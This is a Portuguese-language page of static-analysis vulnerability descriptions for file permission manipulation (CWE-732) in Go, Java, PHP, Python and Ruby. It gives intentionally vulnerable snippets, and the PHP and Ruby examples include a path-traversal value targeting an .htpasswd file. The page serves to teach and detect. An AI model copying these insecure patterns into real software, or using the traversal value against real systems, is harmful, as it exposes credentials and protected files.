121 itens encontrados
Vulnerabilidades
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de File Permission Manipulation ocorrem quando qualquer uma das seguintes condições é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica as permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa entrada de variáveis de ambiente do sistema para definir permissões de arquivo. Se os invasores puderem alterar as variáveis de ambiente do sistema, poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável a Path Manipulation, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrariamente no sistema.


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa a entrada de propriedades do sistema para definir a máscara de permissão padrão. Se os invasores puderem alterar as propriedades do sistema, eles poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo: O código a seguir é projetado para definir as permissões de arquivo adequadas para os usuários fazerem upload de páginas da Web por meio de FTP. Ele usa a entrada de uma solicitação HTTP para marcar um arquivo como visualizável para usuários externos.


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


No entanto, se um invasor fornecer um valor mal-intencionado para publicReport, como "../../localuser/public_html/.htpasswd", o aplicativo tornará o arquivo especificado como legível para o invasor.

Exemplo 2: O código a seguir usa a entrada de um arquivo de configuração para definir a máscara de permissão padrão. Se os invasores puderem alterar o arquivo de configuração, eles poderão usar o programa para obter acesso aos arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de File Permission Manipulation ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo 1: O código a seguir usa entrada de variáveis de ambiente do sistema para definir permissões de arquivo. Se os invasores puderem alterar as variáveis de ambiente do sistema, eles poderão usar o programa para obter acesso a arquivos manipulados pelo programa. Se o programa também for vulnerável à Path Manipulation, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[13] Standards Mapping - FIPS200 AC
[14] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[17] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[18] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[34] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[35] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
Permitir que a entrada do usuário altere permissões de arquivo diretamente pode deixar que um invasor acesse recursos do sistema que, de outra forma, estariam protegidos.
Explanation
Erros de manipulação de permissões de arquivo ocorrem quando qualquer uma das condições a seguir é atendida:

1. Um invasor pode especificar um caminho usado em uma operação que modifica permissões no sistema de arquivos.

2. Um invasor pode especificar as permissões atribuídas por uma operação no sistema de arquivos.

Exemplo: O código a seguir é projetado para definir as permissões de arquivo adequadas para os usuários fazerem upload de páginas da Web por meio de FTP. Ele usa a entrada de uma solicitação HTTP para marcar um arquivo como visualizável para usuários externos.


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


No entanto, se um invasor fornecer um valor mal-intencionado para publicReport, como "../../localuser/public_html/.htpasswd", o aplicativo tornará o arquivo especificado como legível para o invasor.

Exemplo 2: O código a seguir usa a entrada de um arquivo de configuração para definir a máscara de permissão padrão. Se os invasores puderem alterar o arquivo de configuração, eles poderão usar o programa para obter acesso aos arquivos manipulados pelo programa. Se o programa também for vulnerável à manipulação de caminho, um invasor poderá usar essa vulnerabilidade para acessar arquivos arbitrários no sistema.


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[14] Standards Mapping - FIPS200 AC
[15] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[18] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
